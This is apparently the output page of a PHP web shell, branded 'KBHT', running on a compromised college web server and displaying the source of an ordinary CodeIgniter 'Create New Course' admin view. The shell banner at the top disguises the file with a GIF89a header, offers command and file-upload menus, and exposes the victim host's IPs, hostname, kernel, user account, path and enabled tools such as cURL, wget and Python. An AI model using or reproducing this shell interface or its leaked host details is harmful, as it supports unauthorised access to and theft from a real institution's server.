GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.17.154.144
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/views/student/../admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/views/student/../admin/createCourse.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Create New Course | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body>
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item" aria-current="page"><a href="<?php echo site_url("admin/Course/"); ?>">Course Management</a></li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Course/createCourse"); ?>">Create New Course</a></li>
                        </ol>
                    </nav>
                    <section class="forms">
                        <div class="card card_border py-2 mb-4">
                            <div class="cards__heading">
                                <h3><i class="fa fa-plus"></i> Create New Course <span></span></h3>
                            </div>
                            <div class="card-body">
                                <?php if (validation_errors() != false) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php echo form_open(site_url('admin/Course/saveNewCourse'), ['name' => 'courseCreationFrm', 'id' => 'courseCreationFrm']); ?>
                                <fieldset>
                                    <legend>Course Info</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label for="courseAlias" class="input__label">Course Alias *</label>
                                            <input type="text" class="form-control input-style" id="courseAlias" name="courseAlias" value="<?php echo set_value('courseAlias'); ?>" placeholder="Enter Course Alias" maxlength="20">
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label for="courseName" class="input__label">Full Name *</label>
                                            <input type="text" class="form-control input-style" id="courseName" name="courseName" value="<?php echo set_value('courseName'); ?>" placeholder="Enter Course Name" maxlength="100">
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label class="input__label">Is LE Allowed? *</label>
                                            <input type="radio" id="leAllowedYes" name="courseLEAllowed" value="T" <?php echo set_radio("courseLEAllowed", "T"); ?>>&nbsp;<label for="leAllowedYes">Yes</label>
                                            <input type="radio" id="leAllowedNo" name="courseLEAllowed" value="F" <?php echo set_radio("courseLEAllowed", "F"); ?>>&nbsp;<label for="leAllowedNo">No</label>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label class="input__label">Time Mgmt. *</label>
                                            <input type="radio" id="timeMgmtYear" name="courseTimeMgmt" value="Y" onClick="calculateYearSemTrims('Y');" <?php echo set_radio("courseTimeMgmt", "Y"); ?>>&nbsp;<label for="timeMgmtYear">Yearly</label>
                                            <input type="radio" id="timeMgmtSemester" name="courseTimeMgmt" value="S" onClick="calculateYearSemTrims('S');" <?php echo set_radio("courseTimeMgmt", "S"); ?>>&nbsp;<label for="timeMgmtSemester">Semester Wise</label>
                                            <input type="radio" id="timeMgmtTrimester" name="courseTimeMgmt" value="T" onClick="calculateYearSemTrims('T');" <?php echo set_radio("courseTimeMgmt", "T"); ?>>&nbsp;<label for="timeMgmtTrimester">Trimester Wise</label>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="courseDuration" class="input__label">Duration *</label>
                                            <input type="text" class="form-control input-style" id="courseDuration" name="courseDuration" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo set_value('courseDuration'); ?>" placeholder="Enter Course Duration (In Years)" maxlength="2">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="courseSemTrims" class="input__label">No. Of Sems./Trims. *</label>
                                            <input type="text" class="form-control input-style" id="courseSemTrims" name="courseSemTrims" onkeypress="return event.charCode >= 48 && event.charCode <= 57" value="<?php echo set_value('courseSemTrims'); ?>" placeholder="Enter No. Of Semesters/Trimesters" readonly="readonly" maxlength="2">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="courseCategory" class="input__label">Category *</label>
                                            <select id="courseCategory" name="courseCategory" class="form-control input-style">
                                                <option value="" <?php echo set_select("courseCategory", ""); ?>>Select Category</option>
                                                <option value="UG" <?php echo set_select("courseCategory", "UG"); ?>>UG</option>
                                                <option value="PG" <?php echo set_select("courseCategory", "PG"); ?>>PG</option>
                                                <option value="Diploma" <?php echo set_select("courseCategory", "Diploma"); ?>>Diploma</option>
                                                <option value="Certificate" <?php echo set_select("courseCategory", "Certificate"); ?>>Certificate</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="courseRecognitionBody" class="input__label">Recognition Body *</label>
                                            <select id="courseRecognitionBody" name="courseRecognitionBody" class="form-control input-style">
                                                <option value="" <?php echo set_select("courseRecognitionBody", ""); ?>>Select Recognition Body</option>
                                                <option value="A" <?php echo set_select("courseRecognitionBody", "A"); ?>>University Affiliated</option>
                                                <option value="R" <?php echo set_select("courseRecognitionBody", "R"); ?>>Approval By Any Governing Body Like UGC, AICTE Etc.</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="courseTimeType" class="input__label">Time Type *</label>
                                            <select id="courseTimeType" name="courseTimeType" class="form-control input-style">
                                                <option value="Full-Time" <?php echo set_select("courseTimeType", "Full-Time"); ?> selected="selected">Full-Time</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="courseDept" class="input__label">Department *</label>
                                            <select id="courseDept" name="courseDept" class="form-control input-style">
                                                <option value="">Select Department</option>
                                                <?php foreach ($departments as $department) { ?>
                                                    <option value="<?php echo $department->dept_id; ?>" <?php echo set_select("courseDept", $department->dept_id); ?>><?php echo $department->dept_name; ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="courseSubDept" class="input__label">Sub-Department *</label>
                                            <select id="courseSubDept" name="courseSubDept" class="form-control input-style">
                                                <option value="">Select Sub-Department</option>
                                            </select>
                                        </div>
                                    </div>
                                </fieldset>
                                <button type="submit" class="btn btn-primary btn-block btn-style mt-4">Create Course</button>
                                <?php echo form_close(); ?>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $("#courseDept").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() != "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/SubDepartment/getNonDeletedActiveSubDepartmentsForDropDown/') ?>',
                        data: {dept_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subDeptInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#courseSubDept").html(subDeptInfo.sub_dept_list);
                            csrfHash = subDeptInfo.csrfHash;
                            courseCreationFrm.csrf_token.value = csrfHash;
                        }
                    });
                }
            });

            $(document).ready(function () {
                if ($("#courseDept").val() != "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/SubDepartment/getNonDeletedActiveSubDepartmentsForDropDown/') ?>',
                        data: {dept_id: $("#courseDept").val(), csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subDeptInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#courseSubDept").html(subDeptInfo.sub_dept_list);
                            csrfHash = subDeptInfo.csrfHash;
                            courseCreationFrm.csrf_token.value = csrfHash;
                        }
                    });
                }
            });

            $("#courseDuration").on("blur", function () {
                if ($(this).val() != "" && !isNaN($(this).val())) {
                    if (courseCreationFrm.courseTimeMgmt[0].checked) {
                        $("#courseSemTrims").val(($(this).val()) * 1);
                    } else if (courseCreationFrm.courseTimeMgmt[1].checked) {
                        $("#courseSemTrims").val(($(this).val()) * 2);
                    } else {
                        $("#courseSemTrims").val(($(this).val()) * 3);
                    }
                } else {
                    $("#courseSemTrims").val(0);
                }
            });

            function calculateYearSemTrims(timeMgmnt) {
                var duration = $("#courseDuration").val();
                if (duration != "" && !isNaN(duration)) {
                    if (timeMgmnt == 'Y') {
                        $("#courseSemTrims").val(duration * 1);
                    } else if (timeMgmnt == 'S') {
                        $("#courseSemTrims").val(duration * 2);
                    } else {
                        $("#courseSemTrims").val(duration * 3);
                    }
                } else {
                    $("#courseSemTrims").val(0);
                }
            }
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023